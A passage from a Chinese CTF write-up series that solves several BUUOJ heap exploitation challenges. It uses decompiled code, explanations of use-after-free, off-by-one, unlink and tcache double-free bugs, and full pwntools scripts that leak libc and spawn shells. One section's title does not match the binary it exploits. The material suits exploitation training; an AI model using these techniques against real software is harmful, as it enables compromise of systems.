    free(*(&ptr + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

然后看看输出函数,这里他是利用固定申请的那块chunk里存的那个函数来进行输出,那么思路就出来了,利用UAF,覆盖掉这个函数的地址为puts函数的got表地址,然后就可以泄露出libc的基址了。

unsigned int display()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
  return __readgsdword(0x14u) ^ v3;
}

我们先申请两块大小为24的chunk,然后依次free掉两块chunk,这时堆空间的分布情况如下,然后根据FILO的原则,如果我们此时申请大小为8,那么就会先申请chunk1_header作为chunk2_header的空间,而chunk0_header就会作为chunk2的空间,此时我们进行输入,就会覆盖chunk0_header的内容,而由于存在UAF漏洞,且ptr数组没有删去已经free掉的数据,我们就可以覆盖chunk0_header里存储的chunk0的地址为puts函数的got表地址,输出chunk0的数据,就把puts函数的真实地址泄露出来了,就得到了libc的基址,如法炮制将chunk0_header的输出函数地址覆盖为system函数的地址,后面修改为||sh 字符串即可getshell。

这里之所以是||sh 字符串,是因为在输出函数中,参数传入的是该note的地址,他会对该地址进行加4处理,才对应到我们输入的内容的地址,当我们将其修改为system函数的地址后,参数就是system函数的地址所在的地址了,而把该地址中的内容当做字符串就是p32(system)||sh,当system执行 p32(system)||sh ,因为无法解析p32(system),就会转而执行sh,这样我们就拿到了shell。

int __cdecl sub_804862B(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

exp:

from pwn import *

context(log_level='debug', arch='i386', os='linux')

io = process('./hacknote')
io = remote('node3.buuoj.cn', 26831)
elf = ELF('./hacknote')
libc = ELF('./libc-2.23-32.so')

def add(size, content):
    io.sendlineafter('Your choice :', str(1))
    io.sendafter('Note size :', str(size))
    io.sendafter('Content :', content)

def delete(index):
    io.sendlineafter('Your choice :', str(2))
    io.sendlineafter('Index :', str(index))

def display(index):
    io.sendlineafter('Your choice :', str(3))
    io.sendlineafter('Index :', str(index))

add(24, 'a' * 24)
add(24, 'b' * 24)

delete(0)
delete(1)
# gdb.attach(io)
add(8, p32(0x804862B) + p32(elf.got["puts"]))

display(0)
libc_base = u32(io.recvuntil("\xf7")[-4: ]) - libc.symbols["puts"]
info("libc_base -> 0x%x" % libc_base)

delete(2)
print(hex(libc.symbols['system'] + libc_base))
payload = p32(libc.symbols['system'] + libc_base) + '||sh'
add(8, payload)
# gdb.attach(io)
display(0)

io.interactive()

 

0x0b hitcon2014_stkof

还是一道菜单堆题,但是这次只给了添加,修改,删除三个功能,第四个选项没有什么用,不会给我们输出chunk的内容。

先来看看添加函数的代码,它用了一个数组来存储我们申请的内存,而且这里对数组下标进行修改是先进行自增再进行数组内容修改,也就是说数组下标为0处没有内容。

__int64 add()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  (&chunk_array)[++index] = v2;
  printf("%d\n", (unsigned int)index);
  return 0LL;
}
``

然后来看看修改函数,这里对内容的修改没有对我们输入的长度大小进行判断,存在溢出。
```c
__int64 edit()
{
  __int64 result; // rax
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 size; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v2 = atol(s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&chunk_array)[v2] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  size = atoll(s);
  ptr = (&chunk_array)[v2];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  }
  if ( size )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}

再来看看删除的函数,在free掉chunk后也对数组进行了置零处理。

__int64 sub_400B07()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v1 = atol(s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&chunk_array)[v1] )
    return 0xFFFFFFFFLL;
  free((&chunk_array)[v1]);
  (&chunk_array)[v1] = 0LL;
  return 0LL;
}

由于没有给我们输出功能,我们想要通过输出got表地址来得到libc的基址,就要想办法去输出chunk的内容,我们可以通过UNlink来拿到数组的修改能力,然后将free函数、puts函数、atoi函数的got表地址写入数组,然后通过修改函数对free函数的got表进行改写,将puts函数的plt表地址写入,这样当我们调用free函数时实际上就是调用了puts函数,就实现了输出功能。

如图三个函数的got表已经被我们写入数组。

修改完free函数的got表后,free掉chunk1,就能将puts函数的实际地址输出,就得到了libc的基址。这里有一个小地方可以稍微注意一下,接收数据时,他是先输出一个回车,然后输出地址,然后输出'OK\n',最开始没注意,困在这好久,

有了libc后,就有了system函数的地址,写入atoi函数的got表,然后输入字符串/bin/sh即可getshell。

exp:

from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./stkof')
io = remote('node3.buuoj.cn', 27229)
elf = ELF('./stkof')

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']

def add(size):
    io.sendline(str(1))
    io.sendline(str(size))
    io.recvuntil('OK')

def edit(index, size, content):
    io.sendline(str(2))
    io.sendline(str(index))
    io.sendline(str(size))
    io.send(content)
    io.recvuntil('OK')

def delete(index):
    io.sendline(str(3))
    io.sendline(str(index))

array = 0x602148

add(0x10) # 1
add(0x30) # 2
add(0x80) # 3
add(0x20) # 4

fake_chunk = p64(0) + p64(0x30) + p64(array + 8 - 0x18)
fake_chunk += p64(array + 8 - 0x10) + 'a' * 0x10 + p64(0x30) + p64(0x90)
edit(2, len(fake_chunk), fake_chunk)
delete(3)
io.recvuntil('OK')

payload = 'a' * 8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload), payload)

edit(0, len(p64(puts_plt)), p64(puts_plt))
# gdb.attach(io, 'b *0x400c85')
delete(1)

io.recvuntil('\n')
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')

edit(2, 8, p64(system))
io.sendline('/bin/sh')

io.interactive()

 

0x0c ciscn_2019_es_1

这题环境是Ubuntu18,libc的版本是2.29,相比2.23多了一个tcache机制,用于链接空闲的 chunk 结构体,其中的 next 指针指向下一个大小相同的 chunk,具体可见 ctfwiki。

tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查
————ctfwiki

本题的漏洞在 call() 函数中,也就是对chunk进行删除的函数,在进行free后并没有对chunk进行置零处理,也没有修改数组中的值,明显的UAF漏洞。

unsigned __int64 call()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( (&heap_addr)[v1] )
    free(*(void **)(&heap_addr)[v1]);
  puts("You try it!");
  puts("Done");
  return __readfsqword(0x28u) ^ v2;
}

这里可以选择通过double free来控制tcache bins,修改 tcache bin 中的数量以及链头地址,使得chunk在free后进入unsortbins中,进而泄露处libc的基址。也可以选择申请一块大小超过tcache范围的chunk,在free后不进入tcache,更方便泄露libc的基址。

先申请三块chunk,然后free掉chunk0,此时chunk0的fd指针指向 main_arena+96 处,由于存在UAF漏洞,直接输出chunk0,然后就可以得到了libc的基址。

接下来再申请一块chunk,大小为0x500,将chunk0的空间申请掉,然后利用tcache,double free申请到free_hook 的空间,将one_gadget写入,对chunk进行free即可getshell。

这里简单说一下利用tcache的double free来达到任意地址写,tcache与fastbins类似,也是通过fd指针来进行空闲chunk的连接,但是不同的是fastbins的fd指针指向的是chunk的开头,而tcache的指针指向用户输入内容的地址开头。

我们对一块chunk进行double free后,就是下图上面的样子,申请一块相同大小的chunk,然后输入内容为我们想要控制的内存的地址,就成了下图step2的样子,再申请两块相同大小的chunk就拿到了我们想要控制的内存的指针,就达到了任意地址写的目的。

exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

io = process('./ciscn_2019_es_1',env={"LD_PRELOAD":"./libc-2.27.so"})
# io = process('./ciscn_2019_es_1')
# io = remote('node3.buuoj.cn', 28114)
libc = ELF('./libc-2.27.so')


def add(size, content, call):
    io.sendlineafter('choice:', str(1))
    io.sendlineafter('Please input the size of compary\'s name\n', str(size))
    io.sendafter('please input name:', content)
    io.sendafter('please input compary call:', call)
    io.recvuntil('Done!\n')


def display(index):
    io.sendlineafter('choice:', str(2))
    io.sendlineafter('Please input the index:\n', str(index))
    io.recvuntil('name:\n')


def delete(index):
    io.sendlineafter('choice:', str(3))
    io.sendlineafter('Please input the index:\n', str(index))


add(0x500, 'content', 'call') # 0
add(0x60, 'content', 'call') # 1
add(0x60, 'content', 'call') # 2
delete(0)
display(0)

main_arena = u64(io.recv(6).ljust(8, '\x00'))

print(hex(main_arena))

libc_base = main_arena - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

print('libc_base -> ' + hex(libc_base))
print('malloc_hook -> ' + hex(malloc_hook))
print('free_hook -> ' + hex(free_hook))

onegadget = libc_base + 0x4f322

add(0x500, 'aaaa', 'aaaa')

delete(1)
delete(1)
add(0x60, p64(free_hook), 'a' * 8)
add(0x60, 'a' * 8, 'a' * 8)
add(0x60, p64(onegadget), 'a' * 8)

delete(0)

io.interactive()

 

0x0d picoctf_2018_can_you_gets_me

依然是一道菜单题,四个功能。

来看看申请的函数,先申请了0x10大小的空间,用来存储之后申请的内存的大小以及地址。这里申请空间大小受到了限制,只能申请0x18或者0x38大小的空间。

unsigned __int64 create()
{
  char *v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      heaparray[i] = (char *)malloc(0x10uLL);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap(0x10 or 0x20 only) : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      if ( size != 24 && size != 56 )
        exit(-1);
      v0 = heaparray[i];
      *((_QWORD *)v0 + 1) = malloc(size);
      if ( !*((_QWORD *)heaparray[i] + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)heaparray[i] = size;
      printf("Content:");
      read_input(*((_QWORD *)heaparray[i] + 1), size);
      puts("Done!");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

然后是edit函数,进行输入的大小为 size+1 ,也就是存在off-by-one漏洞,溢出一字节,加上之前申请大小只能为0x18或者0x38,复用了下一块chunk的前比那个字节,溢出一字节刚好覆盖下一chunk的size位。

unsigned __int64 edit()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Content: ");
    read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
    puts("Done!");
  }
  else
  {
    puts("How Dare you!");
  }
  return __readfsqword(0x28u) ^ v3;
}

到这就有了思路,通过溢出一字节覆盖下一chunk的size位,也就是存储用户申请chunk的size和地址的chunk(姑且称之为 heap struct),实现 Chunk Extend ,然后将其free,此时bins中的情况是这样的, 0x14e32c0 是用户申请chunk的地址, 0x14e32a0 是因为我们刚才修改了struct的size位。

再进行申请,我们申请的chunk就会将struct包含在其中,我们将atoi函数的got表地址写入struct,然后进行输出,就会输出atoi函数的真实地址,就可以将libc的基址泄露出来,然后将atoi函数的got进行覆写,修改为system函数的地址,然后输入 /bin/sh\x00 即可getshell。

exp:

from pwn import *

# io = process('./npuctf_2020_easyheap',env={"LD_PRELOAD":"./libc-2.27.so"})
# io = process('./npuctf_2020_easyheap')
io = remote('node3.buuoj.cn', 26590)

elf = ELF('./npuctf_2020_easyheap')
libc = ELF('./libc-2.27.so')

def add(size, content):
    io.sendlineafter('Your choice :', str(1))
    io.sendlineafter('Size of Heap(0x10 or 0x20 only) : ', str(size))
    io.sendafter('Content:', content)
    io.recvuntil('Done!\n')

def edit(index, content):
    io.sendlineafter('Your choice :', str(2))
    io.sendlineafter('Index :', str(index))
    io.sendafter('Content: ', content)
    io.recvuntil('Done!\n')

def display(index):
    io.sendlineafter('Your choice :', str(3))
    io.sendlineafter('Index :', str(index))
    io.recvuntil('Content : ')


def delete(index):
    io.sendlineafter('Your choice :', str(4))
    io.sendlineafter('Index :', str(index))

add(0x18, 'aaaa') # 0
add(0x18, 'bbbb') # 1

edit(0, 'a' * 0x18 + '\x41')

delete(1)

payload = 'a' * 0x18 + p64(0x21) + p64(0x38) + p64(elf.got['atoi'])
add(0x38, payload) #,2

display(1)
atoi_address = u64(io.recv(6).ljust(8, '\x00'))
print(hex(atoi_address))

libc_base = atoi_address - libc.symbols['atoi']
print('libc_base -> ' + hex(libc_base))

edit(1, p64(libc_base + libc.symbols['system']))

io.sendlineafter('Your choice :', '/bin/sh\x00')
io.interactive()

 

0x0e gyctf_2020_some_thing_exceting

我们可以看到在程序刚开始时,会读取根目录下的flag文件,将其写入bss段的变量中,没有该文件则退出程序。

unsigned __int64 sub_400896()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  byte_6020A0 = 96;
  fgets(flag, 45, stream);
  return __readfsqword(0x28u) ^ v2;
}

该程序有三个功能,编辑功能其实会让我们退出程序,只有增加、删除和输出功能。

增加功能会申请一块0x10大小的空间,用来存储接下来申请的两块chunk的地址,然后接下来申请的空间的大小不能超过0x70。

漏洞出现在删除函数中,这里只是将其free掉,没有置零,存在UAF漏洞。

unsigned __int64 sub_400C24()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    lea();
  }
  free(*(void **)*(&ptr + v1));
  free(*((void **)*(&ptr + v1) + 1));
  free(*(&ptr + v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

那么我们就可以先申请两次chunk,然后分别free掉,此时fastbins情况如下图,其中0x13d4320中存储了chunk1的地址,0x13d4240中存储了chunk0的地址,此时我们再一次进行申请,申请大小为0x10,由于FILO的原则,我们的 ba 会申请到0x13d4240的地址,如果我们将之前存储了flag的变量的地址写入,然后对chunk0进行输出,就可以将flag直接输出了。

exp:

from pwn import *

io = process('./gyctf_2020_some_thing_exceting')
# io = remote('node3.buuoj.cn', 29924)

def add(ba_length, ba, na_length, na):
    io.sendlineafter('want to do :', str(1))
    io.sendlineafter('ba\'s length : ', str(ba_length))
    io.sendlineafter('> ba : ', ba)
    io.sendlineafter('na\'s length : ', str(na_length))
    io.sendlineafter('> na : ', na)

def delete(index):
    io.sendlineafter('want to do :', str(3))
    io.sendlineafter('> Banana ID : ', str(index))

def display(index):
    io.sendlineafter('want to do :', str(4))
    io.sendlineafter('> SCP project ID : ', str(index))
    io.recvuntil('# Banana\'s ba is ')

add(0x50, 'ba', 0x50, 'na') # 0
add(0x50, 'ba', 0x50, 'na') # 1
delete(0)
delete(1)

add(0x10, p64(0x6020a8), 0x10, 'na') # 2
display(0)

io.interactive()

 

0x0f hitcontraining_unlink

原题
exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./bamboobox')
io = remote('node3.buuoj.cn', 29177)
elf = ELF('./bamboobox')
libc = ELF('./libc-2.23.so')

free_got = elf.got['free']

def show():
    io.sendlineafter('Your choice:', '1')

def add(size, content):
    io.sendlineafter('Your choice:', '2')
    io.sendlineafter('Please enter the length of item name:', str(size))
    io.sendafter('Please enter the name of item:', content)

def edit(index, size, content):
    io.sendlineafter('Your choice:', '3')
    io.sendlineafter('Please enter the index of item:', str(index))
    io.sendlineafter('Please enter the length of item name:', str(size))
    io.sendafter('Please enter the new name of the item:', content)

def delete(index):
    io.sendlineafter('Your choice:', '4')
    io.sendafter('Please enter the index of item:', str(index))

array = 0x6020C0

add(0x30, 'aaaa')  # 0
add(0x30, 'aaaa')  # 1
add(0x80, 'aaaa')  # 2
add(0x20, '/bin/sh')  # 3

payload = p64(0) + p64(0x30) + p64(array + 0x18 - 0x18) + p64(array + 0x18 - 0x10)
payload += 'a' * 0x10 + p64(0x30) + p64(0x90)

edit(1, len(payload), payload)

delete(2)
# gdb.attach(io)
edit(1, 0x100, p64(0x20) + p64(free_got))#1

show()
io.recvuntil('0 : ')
puts_addr = u64(io.recvuntil(":")[:6].ljust(8,'\x00'))

libc_base = puts_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']

edit(0, 8, p64(system))
delete(3)

io.interactive()

 

0x10 axb_2019_heap

一道格式化字符串漏洞 + off-by-one的综合应用。

首先在banner函数中存在格式化字符串漏洞,可以找到偏移量为8,由于这题开启了PIE,所以我们可以利用格式化字符串漏洞来泄露出栈上的数据从而得到libc的基址和程序的基址。

unsigned __int64 banner()
{
  char format[12]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to note management system!");
  printf("Enter your name: ");
  __isoc99_scanf("%s", format);
  printf("Hello, ");
  printf(format);
  puts("\n-------------------------------------");
  return __readfsqword(0x28u) ^ v2;
}

gdb调试观察栈上的数据,可以发现偏移为11处为 <main+28> 的地址,可算出程序的基址。然后偏移为15处为 <__libc_start_main+240> 的地址,可算出libc的基址。

解决了这个问题后,再来看看程序,有三个功能,添加、修改和删除,其中添加函数中对key值有一个判断,不等于43的话对申请的大小存在限制,不能小于等于0x80。

然后在edit函数中使用了get_input函数对chunk进行输入,最后的地方有一个判断 if ( a2 + 1 <= v3 ) ,也就是说存在off-by-one漏洞。

size_t __fastcall get_input(__int64 a1, unsigned int a2)
{
  size_t result; // rax
  signed int v3; // [rsp+10h] [rbp-10h]
  _BYTE *v4; // [rsp+18h] [rbp-8h]

  v3 = 0;
  while ( 1 )
  {
    v4 = (_BYTE *)(v3 + a1);
    result = fread(v4, 1uLL, 1uLL, stdin);
    if ( (int)result <= 0 )
      break;
    if ( *v4 == 10 )
    {
      if ( v3 )
      {
        result = v3 + a1;
        *v4 = 0;
        return result;
      }
    }
    else
    {
      result = (unsigned int)++v3;
      if ( a2 + 1 <= v3 )
        return result;
    }
  }
  return result;
}

于是我们可以构造UNlink,将chunk申请到存放chunk地址的位于bss段的note处,然后将free_hook的地址写入note,对free_hook修改为one_gadget,然后getshell。

exp:

from pwn import *

# context(log_level='debug', arch='amd64', os='linux')

io = process('./axb_2019_heap', env={"LD_PRELOAD": "./libc-2.23.so"})
io = remote('node3.buuoj.cn', 27256)
libc = ELF('./libc-2.23.so')


def add(index, size, content):
    io.sendlineafter('>> ', str(1))
    io.sendlineafter('create (0-10):', str(index))
    io.sendlineafter('size:\n', str(size))
    io.sendlineafter('content: \n', content)


def delete(index):
    io.sendlineafter('>> ', str(2))
    io.sendlineafter('index:\n', str(index))


def edit(index, content):
    io.sendlineafter('>> ', str(4))
    io.sendlineafter('index:\n', str(index))
    io.sendlineafter('content: \n', content)
    io.recvuntil('Done!')


io.sendlineafter('name: ', '%11$p%15$p')
io.recvuntil('Hello, ')

base = int(io.recv(14), 16) - 0x1186
libc_base = int(io.recv(14), 16) - libc.sym['__libc_start_main'] - 240
note = base + 0x202060
one_gadget = libc_base + 0x4526a
free_hook = libc_base + libc.sym['__free_hook']
print('libc -> ' + hex(libc_base))
print('process_base -> ' + hex(base))

add(0, 0x98, 'content')
add(1, 0x98, 'content')
add(2, 0x90, 'content')

payload = p64(0) + p64(0x91) + p64(note - 0x18) + p64(note - 0x10)
payload += p64(0) * 14 + p64(0x90) + '\xa0'
edit(0, payload)

delete(1)

edit(0, p64(0) * 3 + p64(free_hook) + p64(0x10))
edit(0, p64(one_gadget))

delete(2)

io.interactive()

 

0x11 ciscn_2019_final_2

在init函数中,程序读取了flag文件,然后将fd文件流改成了666。

unsigned __int64 init()
{
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("flag", 0);
  if ( fd == -1 )
  {
    puts("no such file :flag");
    exit(-1);
  }
  dup2(fd, 666);
  close(fd);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return __readfsqword(0x28u) ^ v2;
}

分配函数中,我们只能申请两种类型的空间,int和short int,分别分配0x20和0x10的空间,然后分别有一个全局指针指向分配的chunk,以及bool参数用来判断是否分配了chunk。

unsigned __int64 allocate()
{
  _DWORD *v0; // rbx
  int v2; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  printf("TYPE:\n1: int\n2: short int\n>");
  v2 = get_atoi();
  if ( v2 == 1 )
  {
    int_pt = malloc(0x20uLL);
    if ( !int_pt )
      exit(-1);
    bool = 1;
    printf("your inode number:");
    v0 = int_pt;
    *v0 = get_atoi();
    *((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
    puts("add success !");
  }
  if ( v2 == 2 )
  {
    short_pt = malloc(0x10uLL);
    if ( !short_pt )
      exit(-1);
    bool = 1;
    printf("your inode number:");
    *(_WORD *)short_pt = get_atoi();
    *((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
    puts("add success !");
  }
  return __readfsqword(0x28u) ^ v3;
}

在删除函数中,存在UAF漏洞。

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( bool )
  {
    printf("TYPE:\n1: int\n2: short int\n>");
    v1 = get_atoi();
    if ( v1 == 1 && int_pt )
    {
      free(int_pt);
      bool = 0;
      puts("remove success !");
    }
    if ( v1 == 2 && short_pt )
    {
      free(short_pt);
      bool = 0;
      puts("remove success !");
    }
  }
  else
  {
    puts("invalid !");
  }
  return __readfsqword(0x28u) ^ v2;
}

在输出函数中,还有一个全局变量show_time限制了我们的输出次数限制,只能输出3次。

unsigned __int64 show()
{
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( show_time-- )
  {
    printf("TYPE:\n1: int\n2: short int\n>");
    v2 = get_atoi();
    if ( v2 == 1 && int_pt )
      printf("your int type inode number :%d\n", *(unsigned int *)int_pt);
    if ( v2 == 2 && short_pt )
      printf("your short type inode number :%d\n", (unsigned int)*(__int16 *)short_pt);
  }
  return __readfsqword(0x28u) ^ v3;
}

在byebye函数中,会读取输入,然后进行输出,于是我们可以将标准输入流修改为666,这样在进行输入时就会输出flag文件了。

void __noreturn bye_bye()
{
  char v0[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v1; // [rsp+68h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("what do you want to say at last? ");
  __isoc99_scanf("%99s", v0);
  printf("your message :%s we have received...\n", v0);
  puts("have fun !");
  exit(0);
}

我们可以先通过double free,来泄露出heap的地址,然后让short chunk的fd指针指向一块int chunk的content的地址,然后对其size位进行修改,然后用这块被修改了size位的chunk去填充tcachebins,然后使得之后的chunk在free后进入unsortbin中,然后泄露出libc的基址。

之后double free分配到stdin的位置,修改其为666,就可以输出flag了。

exp:

from pwn import *

# io = process('./ciscn_final_2',env={"LD_PRELOAD":"./libc-2.27.so"})
io = remote('node3.buuoj.cn', 28685)
libc = ELF('./libc-2.27.so')

def add(add_type, add_num):
    io.sendlineafter('which command?\n> ', '1')
    io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
    io.sendafter('your inode number:', str(add_num))


def delete(remove_type):
    io.sendlineafter('which command?\n> ', '2')
    io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))


def display(show_type):
    io.sendlineafter('which command?\n> ', '3')
    io.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
    if show_type == 1:
        io.recvuntil('your int type inode number :')
    elif show_type == 2:
        io.recvuntil('your short type inode number :')
    return int(io.recvuntil('\n', drop=True))

add(1,0x30)
delete(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
delete(2)
add(1,0x30)
delete(2)


addr_chunk0_prev_size = display(2) - 0xa0
print(hex(addr_chunk0_prev_size))
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
    delete(1)
    add(2, 0x20)
delete(1)

main_arena = display(1) - 96
print(hex(main_arena))
libc_base = main_arena - libc.sym['__malloc_hook'] - 0x10
stdin = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70

add(1, stdin)
add(1, 0x30) 

delete(1)
add(2, 0x20)
delete(1)
addr_chunk0_fd = display(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

io.sendlineafter('which command?\n> ', '4')
io.recvuntil('your message :')

io.interactive()

 

0x12 ciscn_2019_final_3

这题只有两个功能,添加和删除,不过在进行添加的时候,他会帮我们把malloc后的地址进行输出,我们想要泄露出libc的基址的话就可以分配到unsortbin的bins头处,然后输出地址,就可以泄露出libc的基址了。

然后在删除的函数中,对chunk进行free后没有置零,存在UAF漏洞

unsigned __int64 delete()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v2);
  if ( v2 > 0x18 )
    exit(0);
  free(*((void **)&unk_2022A0 + v2));
  return __readfsqword(0x28u) ^ v3;
}

但是在进行分配时,对我们输入的size进行了限制,不能大于0x78,在有tcache的情况下,free后size小于0x400时不会进入unsortbin中,于是我们只能想办法修改chunk的size位了。

unsigned __int64 sub_CE1()
{
  __int64 v0; // rax
  __int64 v1; // rax
  unsigned int v2; // ebx
  __int64 v3; // rax
  size_t size; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, (char *)&size + 4);
  if ( *((_QWORD *)&unk_2022A0 + HIDWORD(size)) || HIDWORD(size) > 0x18 )
    exit(0);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &size);
  if ( (unsigned int)size <= 0x78 )
  {
    v2 = HIDWORD(size);
    *((_QWORD *)&unk_2022A0 + v2) = malloc((unsigned int)size);
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    sub_CBB(*((_QWORD *)&unk_2022A0 + HIDWORD(size)), (unsigned int)size);
    puts("OK!");
    printf("gift :%p\n", *((const void **)&unk_2022A0 + HIDWORD(size)));
  }
  return __readfsqword(0x28u) ^ v6;
}

